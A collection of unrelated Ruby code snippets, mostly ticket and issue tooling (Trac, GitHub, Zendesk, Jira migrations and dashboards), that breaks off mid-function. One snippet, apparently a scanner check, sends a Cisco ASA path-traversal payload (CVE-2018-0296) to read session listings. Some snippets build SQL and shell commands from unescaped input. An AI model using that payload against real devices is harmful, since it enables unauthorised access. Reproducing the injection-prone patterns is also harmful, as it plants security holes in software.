[ "def type_looper(email_body, section)\n type = [:new_features, :improvements, :tasks, :bugs]\n \n type.each do |cType|\n tickets_looper(email_body, section, email_body[section][cType][:type], email_body[section][:file], email_body[section][:statuses], email_body[section][cType][:tickets], email_body[section][cType])\n end\nend", "def section_looper(email_body)\n section = [:first_section, :second_section, :third_section]\n\n section.each do |section|\n type_looper(email_body, section)\n end\nend", "def setupTicketsList\n require 'tmpdir'\n lTicketsFileName = \"#{Dir.tmpdir}/WEACE_Tickets_#{Thread.current.object_id}.lst\"\n File.open(lTicketsFileName, 'w') do |oFile|\n oFile << 'TicketID 1\nTicketID 2\nTicketID 3'\n end\n yield(lTicketsFileName)\n File.unlink(lTicketsFileName)\n end", "def generate_body(pull_requests, issues)\n sort_into_sections(pull_requests, issues)\n @sections.map(&:generate_content).join\n end", "def migrate_tickets(start_ticket, filterout_closed)\n $logger.info('migrating issues')\n # We match the issue title to determine whether an issue exists already.\n tractickets = @trac.tickets.order(:id).where { id >= start_ticket }.all\n begin\n lasttracid = tractickets.last[:id]\n rescue\n raise (\"trac has no ticket #{start_ticket}\")\n end\n\n\n (start_ticket.to_i .. lasttracid).each do |ticket_id|\n ticket = tractickets.select { |i| i[:id] == ticket_id }.first\n\n @current_ticket_id = ticket_id # used to build filename for attachments\n\n if ticket.nil?\n if @mockdeleted\n ticket = {\n id: ticket_id,\n summary: \"DELETED in trac #{ticket_id}\",\n time: Time.now.to_i,\n status: 'closed',\n reporter: 'trac-hub'\n }\n else\n next\n end\n end\n\n raise (\"tickets out of sync #{ticket_id} - #{ticket[:id]}\") if ticket[:id] != ticket_id\n\n next if filterout_closed and ticket[:status] == \"closed\"\n GracefulQuit.check(\"quitting after processing ticket ##{@last_created_issue}\")\n\n if @safetychecks;\n begin\n # issue exists already:\n issue = JSON.parse(RestClient.get(\n \"https://api.github.com/repos/#{@repo}/issues/#{ticket[:id]}\",\n {\"Authorization\" => \"token #{@token}\"}))\n $logger.info(\"found ticket #{ticket[:id]}\")\n next\n rescue\n end\n end\n\n begin\n $logger.info(%Q{creating issue for trac #{ticket[:id]} \"#{ticket[:summary]}\" (#{ticket[:reporter]})})\n # API details: https://gist.github.com/jonmagic/5282384165e0f86ef105\n request = compose_issue(ticket)\n response = JSON.parse(RestClient.post(\n \"https://api.github.com/repos/#{@repo}/import/issues\",\n request.to_json,\n {\"Authorization\" => \"token #{@token}\",\n \"Content-Type\" => \"application/json\",\n \"Accept\" => \"application/vnd.github.golden-comet-preview+json\"}))\n end\n\n\n if true #@safetychecks - it is not really faster if we do not wait for the processing\n while response[\"status\"] == \"pending\"\n sleep 1\n $logger.info(\"Checking import status: #{response['id']}\")\n $logger.info(\"you can manually check: #{response['url']}\")\n response = JSON.parse(RestClient.get(response['url'], {\n \"Authorization\" => \"token #{@token}\",\n \"Accept\" => \"application/vnd.github.golden-comet-preview+json\"}))\n end\n $logger.info(\"Status: #{response['status']}\")\n if response['status'] == 'failed'\n $logger.error(response['errors'])\n exit 1\n end\n\n issue_id = response[\"issue_url\"].match(/\\d+$/).to_s.to_i\n\n $logger.info(\"created issue ##{issue_id} for trac ticket #{ticket[:id]}\")\n\n # assert correct issue number\n if issue_id != ticket[:id]\n $logger.warn(\"mismatch issue ##{issue_id} for ticket #{ticket[:id]}\")\n exit 1\n end\n else\n # to allow manual verification:\n $logger.info(response['url'])\n end\n @last_created_issue = ticket[:id]\n end\n end", "def get_ticket_message_entries ticket_no\n if( ticket_no.is_a?( ARINcli::Registration::Ticket ) )\n ticket_no = ticket_no.ticket_no\n end\n ticket_area = prepare_ticket_area(ticket_no)\n retval = []\n dir = Dir.new( ticket_area )\n dir.each do |file_name|\n retval << File.join( ticket_area, file_name ) if file_name.end_with?( \".xml\" )\n end\n return retval\n end", "def get_issues_per_status(view_id, sprint_id, issue_count_array, issue_sp_count_array)\n current_start_at = 0\n\n begin\n response = get_response(\"/rest/agile/1.0/board/#{view_id}/sprint/#{sprint_id}/issue?startAt=#{current_start_at}\")\n page_result = JSON.parse(response.body)\n issue_array = page_result['issues']\n\n issue_array.each do |issue|\n accumulate_issue_information(issue, issue_count_array, issue_sp_count_array)\n end\n\n current_start_at = current_start_at + page_result['maxResults']\n end while current_start_at < page_result['total']\nend", "def process_lit_doc_lines(files_and_header_sizes, generated_file_path)\n files_and_header_sizes.each do |entry|\n entry[:file][:lines].each do |line|\n args = line.split(' ')\n\n File.open(generated_file_path, 'a') { |f| f << \"\\n\" }\n\n # args.shift(2) = remove first 2 entries in array\n case args[1]\n when '@h:'\n args.shift(2)\n header_size = entry[:file][:sizes][:h]\n process_header(args, generated_file_path, header_size)\n when '@r:'\n args.shift(2)\n process_route(args, generated_file_path)\n when '@b-model:'\n args.shift(2)\n process_body_model(args, generated_file_path)\n when '@res-model:'\n args.shift(2)\n process_response_model(args, generated_file_path)\n when '@b-serializer:'\n args.shift(2)\n process_body_serializer(args, generated_file_path)\n when '@res-serializer:'\n args.shift(2)\n process_response_serializer(args, generated_file_path)\n else\n args.shift\n process_markdown(args, generated_file_path)\n end\n end\n end\n end", "def get_ticket\n ticket_details = self.class.get(\"/rest/api/2/issue/\", :verify => false)\n File.open(\"custom.txt\", 'w') {|f| f.write(ticket_details) }\n end", "def overall_tickets\n\n end", "def handle_ticket_attachment\n tid = ARGV[1].chomp rescue nil\n attId = ARGV[2].chomp rescue nil\n puts @lh.get_attachment_data(tid, attId)\n end", "def run\n super\n \n require_enrichment\n\n body = http_get_body \"#{_get_entity_name}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions\"\n \n if body =~ /\\/\\/\\/sessions/\n _create_linked_issue \"cisco_asa_path_traversal_cve_2018_0296\", { \"proof\" => body }\n end\n\n end", "def get_logger_tickets\n @tickets = Ticket.find_all_by_job_id_and_paid_to_logger(params[:id], false, :order => \"number\")\n render \"get_tickets.html.erb\"\n end", "def get_data(next_link=\"\",delay=@opts[:delay], concurrent_connections=1)\n \n # make a new concurrent run area\n hydra = Typhoeus::Hydra.new(max_concurrency: concurrent_connections) \n\n \n puts \"Fetching Data: #{@@baseurl+@cursor.to_s}\"\n issue_request = Typhoeus::Request.new(@@baseurl+@cursor.to_s) # make a new request for page of issues\n \n # use on_complete to handle http errors with Typhoeus\n issue_request.on_complete do |issue_resp|\n if issue_resp.success?\n \n bug_result = Oj.load(issue_resp.body) # push a Hash of the response onto our issues list\n \n #access start index and items/page\n start_index = bug_result[\"feed\"][\"openSearch$startIndex\"][\"$t\"]\n items_per_page = bug_result[\"feed\"][\"openSearch$itemsPerPage\"][\"$t\"]\n \n \n if items_per_page > 0 #verifies if there is any items left \n \n #move cursor to the next issue you need to access\n @cursor = start_index + items_per_page \n \n\n #Creates folder to store files unless the file_location exists\n FileUtils.mkdir_p(@@file_location) unless File.directory?(@@file_location) \n puts \"#{start_index}- #{@cursor-1}: completed\"\n puts \"Processing replies...\"\n\n # access the array of issues on the page\n bug_result[\"feed\"][\"entry\"].each do |entry|\n entry_id = entry[\"issues$id\"][\"$t\"]\n\n entry[\"link\"].each do |link|\n\n if link[\"rel\"] == \"replies\"\n \n #then get all the replies to the issue\n replies_request = Typhoeus::Request.new(link[\"href\"]+\"?alt=json&max-results=500\") # make a new request\n replies_request.on_complete do |replies_resp|\n \n if replies_resp.success? \n #embeds the replies in the original object.\n entry[\"replies\"] = Oj.load(replies_resp.body)[\"feed\"][\"entry\"]\n puts \"Replies for #{entry_id} completed\"\n sleep(delay)\n end\n\n end\n hydra.queue replies_request\n end\n\n end \n end\n hydra.run #execute queued requests\n \n Oj.to_file(@@file_location + \"#{start_index}-#{@cursor-1}.json\", bug_result)\n sleep(delay)\n \n else # Received a non-successful http response.\n @cursor = -1\n end\n end\n end\n\n issue_request.run\n end", "def ticket_dashboard(tickets)\n\tsystem(\"clear\")\n\tprompt = TTY::Prompt.new\n\t# For loop to perform an action on each individual ticket in the tickets array (list_of_tickets argument)\n\tfor ticket in tickets\n\t\t# Prints the index of each individual ticket in the tickets array | Prints the subject of each individual ticket\n\t\t# Add +1 to the index, as to ensure that ticket number does not begin at 0\n ticket_export = \"All Submitted Support Tickets:\\n\\nTicket Number: #{tickets.index(ticket)+1} From: #{ticket.from} Subject: #{ticket.subject} Description: #{ticket.description} Status: #{ticket.status} Priority: #{ticket.priority}\"\n convert_to_txt(ticket_export)\n end\n\n\tputs \"\\nWhat would you like to do?\"\n\tselection = prompt.select(\"\\nChoose an option:\") do |menu|\n\t\tmenu.choice 'Edit a ticket', 1\n\t\tmenu.choice 'Delete a ticket', 2\n\t\tmenu.choice 'Back to menu', 3\n end\n # Calls a method depending on the value returned by the TTY-Prompt menu selection\n\tif selection == 1\n\t\tticket_edit(tickets)\n\telsif selection == 2\n\t\tticket_delete(tickets)\n\tend\n\treturn tickets\nend", "def process_externals_lines\n File.open(file_name, \"r\") do |f|\n #File.open(\"./lib/externals/externals_table_data_input_lines.txt\", \"r\") do |f|\n f.each_line do |line|\n puts line.to_textual\n sleep(0.01)\n end\n end\n end", "def append_multiple_files_to_ticket(ticket_id:, file_list:, comment: \"\", fields: {})\n raise MissingTicketIdError if ticket_id.blank?\n\n ticket = ZendeskAPI::Ticket.find(client, id: ticket_id)\n raise MissingTicketError unless ticket.present?\n\n ticket.fields = fields if fields.present?\n ticket.comment = {body: comment}\n file_list.each { |file| append_file_or_add_oversize_comment(file, ticket) }\n success = ticket.save\n\n unless success\n raise ZendeskAPIError.new(\"Error appending file to ticket: #{ticket.errors}\")\n end\n\n success\n end", "def ticket_edit(tickets)\n\tsystem(\"clear\")\n\tprompt = TTY::Prompt.new\n\t# If the tickets array not empty, proceed with ability to edit the ticket by selecting the index + 1\n if tickets.empty? == false\n edit_selection = prompt.select(\"Select a ticket to edit:\") do |menu|\n for ticket in tickets\n menu.choice (tickets.index(ticket) +1)\n end\n end\n else\n # No tickets in array, catch error, and return to loop.\n puts \"No tickets in dashboard. Press 'Enter' to return to menu.\"\n gets\n return\n end\t\n\tticket_attribute_selection = prompt.select(\"What would you like to edit?\") do |menu|\n\t\tmenu.choice \"From\", 1\n\t\tmenu.choice \"Subject\", 2\n\t\tmenu.choice \"Description\", 3\n\t\tmenu.choice \"Status\", 4\n\t\tmenu.choice \"Priority\", 5\n\tend\n\t# Subtract inflated 'ticket value' back to index for element selection\n\tedit_selection = edit_selection.to_i - 1\n\t# Overwrites the from contents of the ticket with the input of the user\n case ticket_attribute_selection\n # Conditional statements for returned value of above TTY-Prompt menu results\n when 1\n # Overwrite the user's input from gets.chomp over the old tickets[edit_selection] chosen attribute\n\t\tputs \"Enter new data:\"\n\t\tinput = gets.chomp\n\t\ttickets[edit_selection].from = input\n\twhen 2\n\t\tputs \"Enter new data:\"\n\t\tinput = gets.chomp\n\t\ttickets[edit_selection].subject = input\t\n\twhen 3\n\t\tputs \"Enter new data:\"\n\t\tinput = gets.chomp\n\t\ttickets[edit_selection].description = input\t\n\twhen 4\n\t\tstatus = prompt.select(\"Choose a Status:\") do |menu|\n\t\t\tmenu.choice 'Open'\n\t\t\tmenu.choice 'Pending'\n\t\t\tmenu.choice 'Waiting on 3rd Party'\n\t\t\tmenu.choice 'Resolved'\n\t\tend\n\t\ttickets[edit_selection].status = status\n\twhen 5\n\t\tpriority = prompt.select(\"Choose a Status:\") do |menu|\n\t\t\tmenu.choice 'Low'\n\t\t\tmenu.choice 'Medium'\n\t\t\tmenu.choice 'High'\n\t\t\tmenu.choice 'Urgent'\n\t\tend\n\t\ttickets[edit_selection].priority = priority\t\n\tend\nend", "def load_tickets\n tickets = []\n lines = []\n counter = 0\n file = File.open(\"powerball.csv\",\"r\")\n while !file.eof?\n lines[counter] = file.readline\n counter += 1\n end\n counter = 0\n lines.each do |line|\n tickets << Lottery.new\n work = line.split(\",\")\n tickets[counter].name = work[0]\n tickets[counter].set_date(work[1],work[2],work[3])\n tickets[counter].set_numbers(work[4],work[5],work[6],work[7],work[8])\n tickets[counter].set_powerball(work[9])\n tickets[counter].powerplay = work[10]\n counter += 1\n end\n return(tickets)\nend", "def pageViewer(currentPage)\n first = (currentPage - 1) * $maxPerPage\n # does not include last item\n last = currentPage * $maxPerPage -1\n $ticketArray[first..last].each { |i| puts \"id:#{i['id']}: #{i['subject'].ljust(45)} author:#{i['requester_id']} created:#{i['created_at']}\" }\nend", "def migrate_tickets(start_ticket)\n $logger.info('migrating issues')\n # We match the issue title to determine whether an issue exists already.\n total_tickets = @trac.tickets.count\n @trac.tickets.order(:id).where{id >= start_ticket}.all.each do |ticket|\n # FIXME: needs porting to multi-user scenario.\n #total_tickets -= 1\n #rate_check(100) if total_tickets % 100 == 0\n title = ticket[:summary]\n if @issues and @issues.has_key?(title)\n $logger.warn(\"skipping existing issue '#{title}'\")\n next\n end\n begin\n issue = @clients[@users[ticket[:reporter]]].create_issue(title, '')\n @issues[title] = issue if @issues\n $logger.info(\"created issue ##{issue[:number]} for ticket #{ticket[:id]}\")\n [:description, :owner, :milestone, :type,\n :component, :priority, :version, :resolution].map do |cat|\n issue = change_issue(issue, ticket[:reporter], cat.to_s, ticket[cat], ticket[:time])\n end\n $logger.debug('replaying ticket history')\n @trac.changes.where(:ticket => ticket[:id]).each do |chg|\n issue = change_issue(issue, chg[:author], chg[:field], chg[:newvalue], chg[:time])\n end\n $logger.info(\"migrated ticket #{ticket[:id]}\")\n rescue Interrupt\n $logger.error(\"cancelled migration of ticket #{ticket[:id]} '#{title}'\")\n exit 1\n end\n end\n end", "def tickets(options={})\n since = options[:since]\n merged = options[:merged]\n\n tickets = Set.new\n link = options[:link]\n\n @git.log(\"#{since}..#{merged}\", :merges => true).each do |commit|\n if (match = MERGE_COMMENT.match(commit.comment))\n words = match[1].split(WORD_BOUNDARY)\n else\n words = commit.comment.split(WORD_BOUNDARY)\n end\n\n got = words.detect do |w|\n if match = link.match(w)\n if match[1]\n tickets << match[1]\n else\n raise ArgumentError, \"Regexp '#{link}' lacks capture groups; please use a () somewhere\"\n end\n else\n nil\n end\n end\n unless got\n logger.warn \"Couldn't infer a ticket link from '#{commit.comment}'\"\n end\n end\n\n if (link_to = options[:link_to])\n link_to = link_to + '/' unless link_to =~ %r{/$}\n tickets.each { |t| puts link_to + t }\n else\n tickets.each { |t| puts t }\n end\n end", "def create_receipts\n @lines.each_with_index do |line, i|\n # Create new Rceipt\n if line.include?('. « P A R A G O N F I S K A L N Y « ')\n begins_at_line = i - header_length\n @receipt = SaleReceipt.new(sale_id: self.id, begins_at_line: begins_at_line)\n next\n end\n \n # If there are 2 empty lines tell receipt to read itself \n # and search for another receipt\n if @receipt && line.strip.empty? && @lines[i+1].strip.empty?\n @receipt.ends_at_line = i-1\n @receipt.save\n @receipt = nil\n next\n end\n end\n end", "def getNiceList\n\t\ttickets = @tickets.read ['machinename', 'title', 'description']\n\n\t\toutput = \"Tickets:\"\n\t\ttickets.each do |row|\n\t\t\toutput += \"\\n#{row['title']} \\(#{row['machinename']}\\)\\n\"\n\t\t\toutput += \"#{row['description']}\\n\"\n\t\t\toutput += \"-------------------------------------------\"\n\t\tend\n\t\toutput\n\tend", "def get_trucker_tickets\n @tickets = Ticket.find_all_by_job_id_and_paid_to_trucker(params[:id], false, :order => \"number\")\n render \"get_tickets.html.erb\"\n end", "def tickets(filters = {})\n tickets = send(:get , '/api/v1/ticket_reports/dynamic.json', filters)\n\n tickets = tickets[:body][\"groups\"].first[\"tickets\"]\n\n process_list_response( tickets , Unfuddled::Ticket)\n end", "def index\n # this is a page with temporary book lists for testing\n @tickets = []\n 3.times do |i|\n ticket = SearchTicket.new\n ticket.item_title = Faker::Book.unique.title\n ticket.item_callnumber = \"CD #{Faker::Code.unique.asin}\"\n ticket.item_author = Faker::Book.unique.author\n ticket.item_id = rand(2900020030020..2900020040020)\n ticket.item_volume = \"Vol 1\"\n ticket.item_issue = \"Issue 2\"\n ticket.item_year = rand(1998..2017)\n ticket.item_location = Location.all.pluck(:ils_code).sample\n @tickets<< ticket\n end\n\n ticket = SearchTicket.new\n ticket.item_title = Faker::Book.unique.title\n ticket.item_callnumber = \"CD #{Faker::Code.unique.asin}\"\n ticket.item_author = Faker::Book.unique.author\n ticket.item_id = rand(2900020030020..2900020040020)\n ticket.item_volume = \"Vol 1\"\n ticket.item_issue = \"Issue 2\"\n ticket.item_year = rand(1998..2017)\n ticket.item_location = \"WONDERLAND\"\n \n @tickets<< ticket\n end", "def print_message_list messages\n messages.each do |msg|\n file = File.basename msg[1]\n link = \"txmt://open?url=file://#{msg[1]}&line=#{msg[2]}&column=#{msg[3]}\"\n html = \"<a href=\\\"#{link}\\\">#{file} - (#{msg[2]})</a><br />&nbsp;&nbsp;<b>#{msg[4]}:</b> #{msg[5]}</a><br />\"\n puts html\n end\nend", "def fetch_issues()\n\n # fetch last created date\n last_creation = @kv.get(@last_creation_k) # || \"2015-05-11T16:37:21Z\"\n\n # request Redmine issues\n issues = @redmine_api.issues(created_on: \">=#{last_creation}\", limit:200, sort:\"created_on\")['issues']\n puts issues if self.verbose\n \n # filter issues to include only certain projects, avoid certain users, avoid self tickets\n issues = issues.select do |issue|\n Utils.project_whitelisted? issue and Utils.user_not_blacklisted? issue and not Utils.ticket_to_self? issue\n end\n\n # no issues\n if issues.empty?\n puts \"#{Utils.human_timestamp} No new issues since #{last_creation}.\"\n return\n end\n\n # post issues\n issues.each do |issue|\n post_issue(issue)\n end\n\n # store the created data of the last ticket + 1 second\n last_creation = issues.last[\"created_on\"]\n last_creation_plus = (Time.parse(last_creation)+1).iso8601\n @kv.put(@last_creation_k, last_creation_plus)\n \n puts \"#{Utils.human_timestamp}: Posted #{issues.length} issues. Last created #{@kv.get(@last_creation_k)}\"\n\n end", "def lines_for(file_name, name = T.unsafe(nil)); end", "def ImportTickets zd,params,client,profile\n \n limit = 1000000000\n limit = params['limit'] if params['limit']\n \n attempt = ImportAttempts.create(profile_id: profile['id'],state: params['type'])\n items = GetModel(params['type']).where(\"state = 'pending' AND error = 0 AND profile_id = #{profile['id']}\").limit(limit)\n fields = ZendeskField.where(\"zendesk = 1 AND state = '#{params['type']}'\")\n c_fields = CustomFields.where(\"profile_id = #{profile['id']}\")\n list = []\n items.each do |item|\n \n tmp = {custom_fields: []}\n \n fields.each do |f|\n \n key = f['db_name'].to_s\n key = 'type' if key == 't_type'\n val = item[f['db_name']]\n if val\n #val << '.fake.zd' if key == 'email'\n key = 'created_at' if key == 'cdate'\n tmp = tmp.merge(key => val)\n end\n \n end\n \n c_fields.each do |f|\n \n if f.id != 21723132\n \n cfs = {\n id: f.id,\n value: item[\"cf_#{f.rel}\"]\n }\n tmp[:custom_fields] << cfs\n \n end\n \n end\n \n isql = Mysql2::Client.new(:host => 'localhost',:username => 'root',:database => 'migrationrocket_v2')\n q = \"SELECT * FROM ticket_comments WHERE profile_id = #{params['profile_id']} AND ticket_id = '#{item['old_id']}'\"\n comments = []\n pub = [false,true]\n isql.query(q).each do |c|\n comments << {\n author_id: c['author_id'],\n public: pub[c['public'].to_f.round],\n body: c['value'],\n created_at: c['cdate']\n }\n end\n isql.close\n \n tmp = tmp.merge(comments: comments)\n \n list << [item['id'],tmp]\n \n end\n \n tasks = RinoThread.new(10)\n inc = 0\n JP %{Total: #{items.count}\\n}\n list.each_with_index do |item,i|\n tasks.queue do\n 1.times do\n \n a_t = Time.now\n\n sql = Mysql2::Client.new(:host => 'localhost',:username => 'root',:database => 'migrationrocket_v2')\n\n q = \"SELECT * FROM import_attempts WHERE profile_id = #{profile['id']} AND state = '#{params['type']}' ORDER BY id DESC LIMIT 1\"\n breakit = false\n sql.query(q).each do |ia|\n if ia['active'] == 0\n @on = false\n breakit = true\n end\n end\n \n if breakit\n sql.close\n break \n end\n\n tmp = {ticket: item[1]}\n item[1]['tags'] = []#item[1]['tags'].split(',')\n item[1]['tags'] << 'sandbox_v3'\n pres = {type: params['type'],i => tmp}\n \n call = zd.postCall(\"/api/v2/imports/tickets.json\",tmp.to_json)\n\n q = \"UPDATE #{params['type']} SET code = #{call[:code].to_f.round}\"\n\n update = {code: call[:code]}\n if call[:code].to_f.round == 201\n\n update = update.merge(status: 'imported')\n q << \",state = 'imported'\"\n q << \",zendesk_id = #{call[:body]['ticket']['id']}\"\n\n elsif call[:code].to_f.round == 500\n \n JP %{>>> 500 Error! <<<\\n}\n \n else\n \n #JP tmp\n update = update.merge(status: 'imported',error: 1,report: call[:body].to_json)\n q << \",state = 'imported'\"\n q << \",error = 1\"\n q << \",report = '#{sql.escape(call[:body].to_json)}'\"\n\n end\n\n q << \" WHERE id = #{item[0]}\"\n\n sql.query(q)\n sql.close\n\n b_t = Time.now\n \n inc += 1\n print \"\\rImport ##{inc} || #{call[:code]} \"\n \n end\n end\n end\n \n tasks.execute\n \n \n attempt.update_attributes(active: 0)\n \n JP %{\\n}\n \n end", "def index\n @ticket_files = TicketFile.all\n end", "def send_gmail_to_listing(worksheet_key)\n\n\n# first we connect to gmail with the $gmail variable (where our logs are stored)\n\t$gmail\n\t\n#we go through each email adresse \n\t\t\t\t# send we send (deliver) an email with subject + body\n\n\tgo_through_all_the_lines(worksheet_key).each do |email|\n\t\t$gmail.deliver do\n to email\n subject \"The Hacking Project\" # write your subject here\n \ttext_part do \n \t\tbody \"je suis élève à une formation de code gratuite, ouverte à tous, sans restriction géographique, ni restriction de niveau. La formation s'appelle The Hacking Project (http://thehackingproject.org/). Nous apprenons l'informatique via la méthode du peer-learning : nous faisons des projets concrets qui nous sont assignés tous les jours, sur lesquel nous planchons en petites équipes autonomes. Le projet du jour est d'envoyer des emails à nos élus locaux pour qu'ils nous aident à faire de The Hacking Project un nouveau format d'éducation gratuite.\n\nNous vous contactons pour vous parler du projet, et vous dire que vous pouvez ouvrir une cellule à {townhall_name}, où vous pouvez former gratuitement 6 personnes (ou plus), qu'elles soient débutantes, ou confirmées. Le modèle d'éducation de The Hacking Project n'a pas de limite en terme de nombre de moussaillons (c'est comme cela que l'on appelle les élèves), donc nous serions ravis de travailler avec {townhall_name} !\n\nCharles, co-fondateur de The Hacking Project pourra répondre à toutes vos questions : 06.95.46.60.80 \" #write your message here\n\t\t\tcontent_type 'text/plain; charset=UTF-8'\n \tend\n end\n\n\n end\n\nend", "def create_import_file_lines(array_of_po_hash)\n fields = [\n 'Sender',\n 'Receiver',\n 'PO Number',\n 'PO Date',\n 'Ship-To Location',\n 'Line Nbr',\n 'Quantity',\n 'Unit Price',\n 'UOM Basis of UOM',\n 'Buyer Item Nbr',\n 'dtl_user_defined_field3',\n 'Delivery Date Requested',\n 'Last Delivery Date Requested'\n ]\n lines = []\n lines << fields\n\n array_of_po_hash.each do |po_hash|\n sender = po_hash[:sender] || Faker::Number.number(12)\n receiver = po_hash[:receiver] || Faker::Number.number(12)\n po_number = po_hash[:number] || Faker::Number.number(10)\n po_date = po_hash[:date] || Time.now.to_date\n ship_to_location =\n po_hash[:ship_to_location] || Faker::Number.number(11)\n\n (1..po_hash[:lines].length).each do |i|\n po_line = po_hash[:lines][i - 1]\n quantity = po_line[:quantity] || 10\n unit_price = po_line[:unit_price] || 100\n item_number = po_line[:buyer_item_number] || Faker::Number.number(9)\n uom = po_line[:uom_basis_of_uom] || 'EA'\n dtl_user_defined_field3 = 1\n\n lines << [\n sender,\n receiver,\n po_number,\n po_date,\n ship_to_location,\n i,\n quantity,\n unit_price,\n uom,\n item_number,\n dtl_user_defined_field3,\n Time.now.to_date,\n Time.now.to_date + 1.day\n ]\n end\n end\n lines\n end", "def fetch_closed_issues_and_pr\n print \"Fetching closed issues...\\r\" if @options[:verbose]\n issues = []\n page_i = 0\n count_pages = calculate_pages(@client, \"issues\", closed_pr_options)\n\n iterate_pages(@client, \"issues\", closed_pr_options) do |new_issues|\n page_i += PER_PAGE_NUMBER\n print_in_same_line(\"Fetching issues... #{page_i}/#{count_pages * PER_PAGE_NUMBER}\")\n issues.concat(new_issues)\n break if @options[:max_issues] && issues.length >= @options[:max_issues]\n end\n print_empty_line\n Helper.log.info \"Received issues: #{issues.count}\"\n\n # separate arrays of issues and pull requests:\n issues.map { |issue| stringify_keys_deep(issue.to_hash) }\n .partition { |issue_or_pr| issue_or_pr[\"pull_request\"].nil? }\n end", "def load_tickets(page_number)\n begin\n conn = Faraday.new\n conn.basic_auth(@credentials[:username], @credentials[:password])\n response = conn.get(\"https://jackiesun2.zendesk.com/api/v2/tickets.json?page=#{page_number}\")\n raise StandardError if response.status.to_i >= 400 \n @zendesk_tickets = JSON.parse(response.body, symbolize_names: true)\n rescue \n puts \"This path is incorrect, please check again\"\n exit\n end \n end", "def get_open_tickets( session_key, company_id, page_size, page_num)\n response_xml = self.call( :get_open_tickets, message: {\n arg0: session_key,\n arg1: company_id,\n arg2: page_size,\n arg3: page_num\n })\n response = IssueCentre::Response.parse( response_xml)\n end", "def main \n skip_first = true\n headers = []\n CSV.foreach('to_email.csv', :encoding => \"UTF-8\") do |row|\n if skip_first\n headers = row\n skip_first = false\n next\n else\n cur = File.open(\"#{row[5].to_s}.txt\", 'a')\n cur << \"Hi,\n\nBelow is the feedback you received from your customer:\" << \"\\n\\n\"\n headers.zip(row).each do |header, val|\n if header == \"emails\"\n tmp = val.split\n val = tmp.join(\",\")\n cur << \"Customer Feedback, Iteration 2\\n\"\n cur << val << \"\\n\\n\"\n next\n end\n if header == \"Which project is this feedback for?\"\n next\n end\n cur << header << \"\\n\"\n cur << val << \"\\n\\n\"\n end\n cur.close\n end\n end\n\nend", "def updated(ticket, currentUser)\n\t@ticket = ticket\n\t@emails = Array.new\n\n @ticket.users.each do |email|\n if !(email.seKey == currentUser)\n @emails.push(email.seKey + \"@semo.edu\")\n end\n end\n\n mail :to => @emails, :subject => ticket.responses.last.user.fName + \" \" + ticket.responses.last.user.lName + \" responded to ticket \" + \"#%06d\" % ticket.id\n end", "def index\n @tickets = get_current_user_ticket_list(@user)\n end", "def build_email(mailmsgs={}, mailtemplate=@defaultmailtemplate)\r\n\t\t@logger.info(\"build ncs email start...\")\r\n\t\ttemplate = Template.new(mailtemplate,@outputdir)\r\n\t\toutputfile = @properties.get(\"ncs.mail.store\")\r\n\t\t#puts @outputdir+\"/\"+outputfile\r\n\t\tif not mailmsgs.empty?\r\n\t\t\t@body = template.render(mailmsgs, @outputdir+\"/\"+outputfile)\r\n\t\telse\r\n\t\t\traise ArgumentError,\"either project_release_label need to be defined!\" if @project_release_label.empty?\r\n\t\t\t#build title\r\n\t\t\tmailsubject = @properties.get(\"ncs.mail.subject\")\r\n\t\t\t@title = \"#{mailsubject} #{@project_release_label}\" if @title.empty?\r\n\t\t\t#build sr link & report link\r\n\t\t\t@sr_link = @properties.get(\"ncs.mail.sr_link\") if @sr_link.empty?\r\n\t\t\t@report_link = @properties.get(\"ncs.mail.report_link\") if @report_link.empty?\r\n\t\t\t#build latest sr table\r\n\t\t\tsr_file = @properties.get(\"ncs.test.sr_mapping_file\")\r\n\t\t\tsr_sheet = @properties.get(\"ncs.test.sr_worksheet\", 'WMX5.0')\r\n\t\t\t@logger.info(\"sr mapping file: #{sr_file}\")\r\n\t\t\tsrparser = SrParser.new(sr_file)\r\n\t\t\tif @srs.empty?\r\n\t\t\t\tlatestSrlist = srparser.latestSrlist(sr_sheet)\r\n\t\t\t\tlatestSrlist.each{ |sr| \r\n\t\t\t\t\tself.addsr(sr) \r\n\t\t\t\t}\r\n\t\t\tend\r\n\t\t\t#build sr summary\r\n\t\t\tif @srsummary.empty?\r\n\t\t\t\t['Originated','Assessed','Study','Performed','Closed'].each{ |status|\r\n\t\t\t\t\tsrlistStatus = srparser.srlistBy(sr_sheet, '#Status', status)\r\n\t\t\t\t\t@logger.info(\"#{status} sr: \"+ srlistStatus.length.to_s)\r\n\t\t\t\t\t@srsummary.store(status, srlistStatus.length)\r\n\t\t\t\t}\r\n\t\t\tend\r\n\t\t\t#host,os,view\r\n\t\t\t@host = %x{uname -n}.chomp() if @host.empty?\r\n\t\t\t@ip = IPSocket.getaddress(@host) if @ip.empty?\r\n\t\t\t@os = %x{uname}.chomp() if @os.empty?\r\n\t\t\tcleartool = @properties.get('ncs.tool.cleartool')\r\n\t\t\t@view = %x{#{cleartool} pwv -s}.chomp() if @view.empty?\r\n\t\t\t#build log dir & test log dir\r\n\t\t\tlogdir = @properties.get('ncs.log.dir')\r\n\t\t\t@buildlogdir = logdir + '/' + project_release_label + '/buildlog' if @buildlogdir.empty?\r\n\t\t\t@testlogdir = logdir + '/' + project_release_label + '/testlog' if @testlogdir.empty?\r\n\t\t\t#build merge stat info\r\n\t\t\tif @mergestat.empty?\r\n\t\t\t\tbegin\r\n\t\t\t\t\tstoredir = @properties.get('ncs.store.dir')\r\n\t\t\t\t\tmergestat = @properties.get('ncs.tool.mergestat')\r\n\t\t\t\t\tline_sep = @properties.get('ncs.mail.line_sep','<br/>')\r\n\t\t\t\t\tbranch = %x{#{cleartool} catcs|grep '^mkbranch'|cut -f2 -d' '}.chomp\r\n\t\t\t\t\tmergestat_name = \"mergestat_#{branch}\"\r\n\t\t\t\t\tmergestat_store = storedir + '/' + project_release_label + \"/mergestat_#{branch}\"\r\n\t\t\t\t\tif not File.exists?(mergestat_store)\r\n\t\t\t\t\t\t@logger.info(\"mergestat file not exist, need to generated!\")\r\n\t\t\t\t\t\t@logger.debug(\"cd /vob/wibb_bts; #{mergestat} -a -l -s -b #{branch} > #{mergestat_name}\")\r\n\t\t\t\t\t\tsystem(\"cd /vob/wibb_bts; #{mergestat} -a -l -s -b #{branch} > #{mergestat_name}\")\r\n\t\t\t\t\t\t@logger.debug(\"cp /vob/wibb_bts/#{mergestat_name} #{mergestat_store}\")\r\n\t\t\t\t\t\tsystem(\"cp /vob/wibb_bts/#{mergestat_name} 